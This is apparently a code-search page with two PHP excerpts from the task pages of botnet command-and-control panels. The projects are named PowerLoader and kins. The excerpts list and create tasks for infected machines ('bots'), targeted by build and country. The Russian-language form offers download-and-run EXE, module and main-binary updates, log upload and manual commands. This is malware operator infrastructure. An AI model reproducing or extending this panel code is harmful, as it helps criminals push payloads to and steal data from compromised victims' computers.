コード例 #1
0
ファイル: tasks.php プロジェクト: conjuringtricks/PowerLoader
    echo "<table cellpadding='3' cellspacing='0' width='100%' class='light_table box' rules='all'>\r\n            <tr><th>Command</th><th>Description</th><th>Count</th><th>Settings</th></tr>";
    $count = 0;
    foreach ($tasks as $task) {
        $color = $count % 2 ? "#d3e7f0" : "#ebf4f8";
        switch ($task['tState']) {
            case "running":
                $tcolor = "green";
                break;
            case "stopped":
                $tcolor = "red";
                break;
            case "finished":
                $tcolor = "#ffa500";
                break;
        }
        echo "<tr bgcolor='{$color}' onmouseover=\"this.style.background='#ffffff'\" onmouseout=\"this.style.background='{$color}'\">\r\n                <td align='center'>\r\n                    <span style='color:#808080'>Num:</span> {$task['tId']}<br>\r\n                    <span style='color:#808080'>Name:</span> {$task['tName']}<br>\r\n                    <span style='color:#808080'>Status:</span> <span style='color:{$tcolor}'>{$task['tState']}</span>\r\n                </td>\r\n\r\n                <td align='center'><span style='color:#808080'>Builds:</span> {$task['tBuild']}<br>\r\n                <span style='color:#808080'>Coutries:</span> " . countryFromDB($task['tCountry1'], $task['tCountry2'], $task['tCountry3'], $task['tCountry4']) . "<br>\r\n                <span style='color:#808080'>Command:</span> {$task['tViewCommand']}<br>\r\n                <span style='color:#808080'>Only for clean / Mark as dirty / Confirm execution</span> {$task['tOnlyForClean']} / {$task['tMarkAsDirty']} / {$task['tConfirm']}</td>\r\n\r\n                <td align='center'>\r\n                    <span style='color:#808080'>Need:</span> <span style='color:#ffa500'>{$task['tCount']}</span><br>\r\n                    <span style='color:#808080'>Begin:</span> <span style='color:green'>{$task['tStartedCount']}</span><br>\r\n                    <span style='color:#808080'>End:</span> <span style='color:black'>{$task['tFinishedCount']}</span><br>\r\n                    <span style='color:#808080'>Bad:</span> <span style='color:red'>{$task['tFailedCount']}</span></td>\r\n\r\n                <td align='center'>";
        if ($task['tState'] == "running") {
            echo "<a href='?act=tasks&d=" . $task['tId'] . "'>Stop</a><br>";
        }
        if ($task['tState'] == "stopped") {
            echo "<a href='?act=tasks&d=" . $task['tId'] . "'>Start</a><br>";
        }
        echo "<a href='?act=tasks&del=" . $task['tId'] . "'>Delete</a><br></td>\r\n                </tr>";
        $count++;
    }
} else {
    $s = $db->query("SELECT * FROM daily")->fetchAllAssoc('dayBuildId');
    echo "<form action='?act=tasks&add' method='post' enctype='multipart/form-data'>\r\n            <table cellpadding='3' cellspacing='3' width='100%'>\r\n                <tr>\r\n                    <td class='td_col_zag' width='30%'>Name</td>\r\n                    <td class='td_col_list' width='70%'><input name='tName' type='text' value=''></td>\r\n                </tr>\r\n\r\n                <tr>\r\n                    <td class='td_col_zag' width='30%'>Builds</td>\r\n                    <td class='td_col_list' width='70%'>";
    foreach ($s as $b => $d) {
        echo "<input type='checkbox' name='tBuild[{$b}]' checked>{$b}&nbsp;&nbsp;";
    }
コード例 #2
0
ファイル: tasks.php プロジェクト: azizjonm/kins
    echo "<table cellpadding='3' cellspacing='0' width='100%' class='light_table box' rules='all'>\n            <tr><th>Задание</th><th>Описание</th><th>Счетчики</th><th>Действие</th></tr>";
    $count = 0;
    foreach ($tasks as $task) {
        $color = $count % 2 ? "#d3e7f0" : "#ebf4f8";
        switch ($task['tState']) {
            case "running":
                $tcolor = "green";
                break;
            case "stopped":
                $tcolor = "#ff1a00";
                break;
            case "finished":
                $tcolor = "#ffa500";
                break;
        }
        echo "<tr bgcolor='{$color}' onmouseover=\"this.style.background='#ffffff'\" onmouseout=\"this.style.background='{$color}'\">\n                <td align='center'>\n                    <span style='color:#808080'>Номер:</span> {$task['tId']}<br>\n                    <span style='color:#808080'>Имя:</span> {$task['tName']}<br>\n                    <span style='color:#808080'>Статус:</span> <span style='color:{$tcolor}'>{$task['tState']}</span>\n                </td>\n\n                <td align='center'><span style='color:#808080'>Билды:</span> {$task['tBuild']}<br>\n                <span style='color:#808080'>Страны:</span> " . countryFromDB($task['tCountry1'], $task['tCountry2'], $task['tCountry3'], $task['tCountry4']) . "<br>\n                <span style='color:#808080'>Команда:</span> {$task['tViewCommand']}<br>\n                <span style='color:#808080'>Только для чистых / Пометить грязними / Подтверждать выполнени</span> {$task['tOnlyForClean']} / {$task['tMarkAsDirty']} / {$task['tConfirm']}</td>\n\n                <td align='center'>\n                    <span style='color:#808080'>Нужно:</span> <span style='color:#ffa500'>{$task['tCount']}</span><br>\n                    <span style='color:#808080'>Начали:</span> <span style='color:green'>{$task['tStartedCount']}</span><br>\n                    <span style='color:#808080'>Завершили:</span> <span style='color:black'>{$task['tFinishedCount']}</span><br>\n                    <span style='color:#808080'>Неудачно:</span> <span style='color:red'>{$task['tFailedCount']}</span></td>\n                \n                <td align='center'>";
        if ($task['tState'] == 'running') {
            echo "<a href='?act=tasks&stop=" . $task['tId'] . "'>Остановить</a><br>";
        } else {
            echo "<a href='?act=tasks&continue=" . $task['tId'] . "'>Возобновить</a><br>";
        }
        echo "\n                <a href='?act=tasks&del=" . $task['tId'] . "'>Удалить</a><br></td>\n                </tr>";
        $count++;
    }
} else {
    $s = $db->query("SELECT * FROM daily")->fetchAllAssoc('dayBuildId');
    echo "<form class='formee' action='?act=tasks&add' method='post' enctype='multipart/form-data'>\n            <table cellpadding='3' cellspacing='3' width='100%'>\n\t\t\t\n\t\t\t\t<tr>\n                    <td class='td_col_zag' width='40%'>Задание</td>\n                    <td class='td_col_list' width='60%'>\n                        <select style='width: 300px;' class='form' name='tasktype' id='tasktype' onchange='load_task_iface();'>\n                            <option value='DownloadRunExeUrl'>Скачать и запустить EXE</option>\n                            <option value='DownloadRunExeId'>Скачать с сервера и запустить EXE</option>\n                            <option value='DownloadRunModId'>Скачать и обновить модуль DLL</option>\n                            <option value='DownloadUpdateMain'>Скачать и обновить основной модуль EXE</option>\n                            <option value='WriteConfigString'>Записать в конфиг</option>\n                            <option value='Command'>Ввод команды вручную</option>\n                            <option value='SendLogs'>Отправить логи</option>\n                        </select>\n                    </td>\n                </tr>\n\t\t\t\n                <tr>\n                    <td class='td_col_zag' width='40%'>Имя</td>\n                    <td class='td_col_list' width='60%'><input style='width: 300px;' name='tName' type='text' value=''></td>\n                </tr>\n\n                <tr>\n                    <td class='td_col_zag' width='40%'>Билды</td>\n                    <td class='td_col_list' width='60%'>";
    echo "<input type='checkbox' name='tBuild[ALL]' checked>Все билды&nbsp;&nbsp;";
    foreach ($s as $b => $d) {
        echo "<input type='checkbox' name='tBuild[{$b}]'>{$b}&nbsp;&nbsp;";
    }